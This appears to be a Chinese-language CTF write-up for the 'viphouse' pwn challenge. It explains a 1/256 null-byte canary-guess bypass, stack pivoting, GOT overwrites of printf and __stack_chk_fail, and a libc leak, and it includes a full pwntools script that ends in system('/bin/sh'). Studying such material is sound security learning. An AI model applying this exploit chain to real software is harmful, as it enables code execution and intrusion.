这个题想了好久,无果,终于看到WP。照着作了一遍。WP里没有详细解释,所以复现得很辛苦。
程序有5个菜单和1个初始化程序:
- init 先从os.random读8个字节放到src处
- login 读入用户名密码,其中密码栈里设的0x40可以读入0x68 可以溢出到 canary + rbp 外加3个字。但这里需要有canary才行
- UAF有两个菜单一个是建块写入数据一个是删块,由于初始变量为0,退出后再入可以多次建块,但无法多次删,所以这里没有UAF
- canary可以给出canary但需要先猜对src存的随机数。
- logout置个状态没啥特殊的
一直找不到漏洞点。看WP才恍然大悟。在4这人位置先将src读入到s然后再比较。如果src的第1个字节是0,那么它只复制1个\0后边被初始化的都是0,所以输入8个0就能通过。这里爆破成功率1/256。
得到canary后可以调用login,通过pass这里的溢出来获取libc和shell,不过负载只有3个字太小了,而且这题只有一个pop rbp 其它都不用pop操作。所以要分几步。
- 修改printf为puts
- 先通过溢出移栈到ptr+0x2a0,执行login(去掉sub rsp部分)
- 这时候写name的时候会写到ptr上,然后调用add_note向ptr写8字节,也就是向got表写,将printf的got指向plt.puts
同上修改__stack_chk_fail的got表为pop rbp;ret 使其不退出,并用pop rbp平衡(进函数时会push rsp,返回时pop rbp 恢复rbp的值为rsp,消除错位rbp的影响)
再执行时name这里可以写ROP了,这里用到gift里一部分
从这里(0x4015d0)调整rbp,即可通过printf打印出libc值。
然后再一次移栈,输入system(bin/sh)
from pwn import *
context(arch='amd64', log_level = 'debug')
elf = ELF('./viphouse')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#1/256 key = \0XXXXXXX strcpy -> \0\0\0\0\0\0\0\0
while True:
p = process('./viphouse')
#gdb.attach(p,'b*0x40150e\nc')
#login
p.sendlineafter(b"Choose an option: ", b'1')
p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"root\x00")
p.sendlineafter(b"Choose an option: ", b'4')
p.sendlineafter(b"Please input the number you guess: \n", b'\x00'*8)
if b'gift' in p.recv(0x15):
break
else:
p.close()
canary = int(p.recvline(), 16)
print(f"{canary = :x}")
#gdb.attach(p, 'b*0x401ac3\nc')
bss = 0x404f00
ptr = 0x404128
pop_rbp = 0x40139d
leave_ret = 0x40147b
rsp_offset = 0x2a0
login_no_sub_rsp = 0x401991
p.sendlineafter(b"Choose an option: ", b'5')
p.sendlineafter(b"Choose an option: ", b'1')
p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset, login_no_sub_rsp))
p.sendlineafter(b"Please enter your username: ", p64(elf.got['printf'])) #ptr=got.printf
p.sendafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset+0x10, 0x4017f2, bss, login_no_sub_rsp)) #got.printf->plt.puts
p.send(p64(elf.plt['puts']))
p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset, login_no_sub_rsp))
p.sendlineafter(b"Please enter your username: ", p64(elf.got['__stack_chk_fail'])) #ptr=got.stack_chk_fail
p.sendafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset+0x10, 0x4017f2, bss, login_no_sub_rsp)) #read got.__stack_chk_fail = pop_rbp;ret
p.send(p64(pop_rbp))
p.sendlineafter(b"Please enter your username: ", flat(elf.got['srand']+0xe, 0x4015d0, elf.sym['login'])) #gift.printf(rbp+format:0xe)
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, 0x404c60, leave_ret))
p.recvline()
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['srand']
pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
ret = pop_rdi+1
print(f"{libc.address = :x}")
p.sendlineafter(b"Please enter your username: ", flat(0, ret, pop_rdi, bin_sh, system))
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, 0x4049d0, leave_ret))
p.interactive()